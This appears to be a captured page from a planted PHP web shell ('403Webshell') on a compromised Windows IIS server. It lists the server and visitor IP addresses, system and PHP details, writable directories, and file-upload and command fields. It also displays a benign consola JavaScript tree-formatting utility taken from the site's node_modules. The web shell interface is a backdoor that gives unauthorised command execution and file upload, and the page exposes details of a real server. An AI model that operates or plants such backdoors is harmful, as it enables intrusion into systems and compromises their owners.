403Webshell
Server IP : 185.208.173.17  /  Your IP : 87.236.161.98
Web Server : Microsoft-IIS/10.0
System : Windows NT SRV8576125506 10.0 build 26100 (Windows Server 2016) AMD64
User : IUSR ( 0)
PHP Version : 7.4.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/parsmega.nuxt/node_modules/@nuxt/webpack/node_modules/consola/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/parsmega.nuxt/node_modules/@nuxt/webpack/node_modules/consola/dist/utils.cjs
'use strict';

const box = require('./shared/consola.DwRq1yyg.cjs');
require('node:tty');

function formatTree(items, options) {
  options = {
    prefix: "  ",
    ellipsis: "...",
    ...options
  };
  const tree = _buildTree(items, options).join("");
  if (options && options.color) {
    return box.colorize(options.color, tree);
  }
  return tree;
}
function _buildTree(items, options) {
  const chunks = [];
  const total = items.length - 1;
  for (let i = 0; i <= total; i++) {
    const item = items[i];
    const isItemString = typeof item === "string";
    const isLimit = options?.maxDepth != null && options.maxDepth <= 0;
    if (isLimit) {
      const ellipsis = `${options.prefix}${options.ellipsis}
`;
      return [
        isItemString ? ellipsis : item.color ? box.colorize(item.color, ellipsis) : ellipsis
        // prettier-ignore
      ];
    }
    const isLast = i === total;
    const prefix = isLast ? `${options?.prefix}\u2514\u2500` : `${options?.prefix}\u251C\u2500`;
    if (isItemString) {
      chunks.push(`${prefix}${item}
`);
    } else {
      const log = `${prefix}${item.text}
`;
      chunks.push(item.color ? box.colorize(item.color, log) : log);
      if (item.children) {
        const _tree = _buildTree(item.children, {
          ...options,
          maxDepth: options?.maxDepth == null ? void 0 : options.maxDepth - 1,
          prefix: `${options?.prefix}${isLast ? "  " : "\u2502  "}`
        });
        chunks.push(..._tree);
      }
    }
  }
  return chunks;
}

exports.align = box.align;
exports.box = box.box;
exports.centerAlign = box.centerAlign;
exports.colorize = box.colorize;
exports.colors = box.colors;
exports.getColor = box.getColor;
exports.leftAlign = box.leftAlign;
exports.rightAlign = box.rightAlign;
exports.stripAnsi = box.stripAnsi;
exports.formatTree = formatTree;

Youez - 2016 - github.com/yon3zu
LinuXploit